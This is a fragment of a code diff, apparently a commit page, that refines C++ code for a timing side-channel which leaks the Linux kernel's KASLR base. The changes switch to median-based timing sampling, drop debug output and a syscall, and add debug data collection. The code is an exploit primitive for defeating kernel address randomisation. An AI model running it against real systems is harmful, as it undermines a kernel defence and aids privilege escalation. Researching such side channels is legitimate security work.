|
24 | 24 | #include <iostream> |
25 | 25 | #include <sys/syscall.h> |
26 | 26 | #include <unistd.h> |
| 27 | +#include <immintrin.h> |
27 | 28 |
|
28 | 29 | bool is_kaslr_base(uint64_t kbase_addr) { |
29 | 30 | if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) |
@@ -86,17 +87,13 @@ std::optional<uint64_t> try_find_edge(const std::vector<uint64_t>& timings) { |
86 | 87 | } |
87 | 88 | uint64_t threshold = max_diff / 2; |
88 | 89 |
|
89 | | - std::cout << "median: " << median << " threshold: " << threshold << std::endl; |
90 | | - for (size_t slot = 0; slot < timings.size(); slot++) { |
91 | | - printf("%lx: %lu \n", slot_to_addr(slot), timings[slot]); |
92 | | - } |
93 | | - |
94 | 90 | for (size_t slot = 0; slot < timings.size(); slot++) { |
95 | 91 | uint64_t diff = abs_diff(timings[slot], median); |
96 | 92 | if (diff >= threshold) { |
97 | 93 | return slot; |
98 | 94 | } |
99 | 95 | } |
| 96 | + |
100 | 97 | return std::nullopt; |
101 | 98 | } |
102 | 99 |
|
@@ -151,26 +148,31 @@ uint64_t sidechannel(uint64_t addr) { |
151 | 148 | return delta; |
152 | 149 | } |
153 | 150 |
|
154 | | -std::optional<uint64_t> try_leak_kaslr_base(int samples) { |
| 151 | +std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(int samples) { |
155 | 152 | size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE; |
156 | | - std::vector<uint64_t> timings(slots, std::numeric_limits<uint64_t>::max()); |
| 153 | + std::vector<std::vector<uint64_t>> all_timings(slots); |
| 154 | + for (auto& t : all_timings) { |
| 155 | + t.reserve(samples); |
| 156 | + } |
157 | 157 |
|
158 | 158 | for (int i = 0; i < samples; i++) { |
159 | 159 | for (size_t slot = 0; slot < slots; slot++) { |
160 | 160 | uint64_t addr = slot_to_addr(slot); |
161 | | - syscall(104); |
162 | 161 | uint64_t timing = sidechannel(addr); |
163 | | - if (timing < timings[slot]) { |
164 | | - timings[slot] = timing; |
165 | | - } |
| 162 | + all_timings[slot].push_back(timing); |
166 | 163 | } |
167 | 164 | } |
168 | 165 |
|
| 166 | + std::vector<uint64_t> timings(slots); |
| 167 | + for (size_t slot = 0; slot < slots; slot++) { |
| 168 | + timings[slot] = compute_median(all_timings[slot]); |
| 169 | + } |
| 170 | + |
169 | 171 | std::optional<size_t> slot = try_find_edge(timings); |
170 | 172 | if (slot.has_value()) { |
171 | | - return slot_to_addr(*slot); |
| 173 | + return {slot_to_addr(*slot), timings}; |
172 | 174 | } |
173 | | - return std::nullopt; |
| 175 | + return {std::nullopt, timings}; |
174 | 176 | } |
175 | 177 |
|
176 | 178 | std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>& slots) { |
@@ -205,11 +207,15 @@ std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>> |
205 | 207 | return std::nullopt; |
206 | 208 | } |
207 | 209 |
|
208 | | -uint64_t leak_kaslr_base(int samples, int trials) { |
| 210 | +uint64_t leak_kaslr_base(int samples, int trials, std::vector<std::vector<uint64_t>>* debug_data) { |
209 | 211 | std::vector<std::optional<uint64_t>> slots(trials); |
210 | 212 | for (int attempt = 0; attempt < KASLR_MAX_ATTEMPTS; attempt++) { |
211 | 213 | for (int trial = 0; trial < trials; trial++) { |
212 | | - slots[trial] = try_leak_kaslr_base(samples); |
| 214 | + auto result = try_leak_kaslr_base(samples); |
| 215 | + slots[trial] = result.first; |
| 216 | + if (debug_data) { |
| 217 | + debug_data->push_back(result.second); |
| 218 | + } |
213 | 219 | } |
214 | 220 | std::optional<uint64_t> slot = find_majority(slots); |
215 | 221 | if (slot.has_value()) { |
|
0 commit comments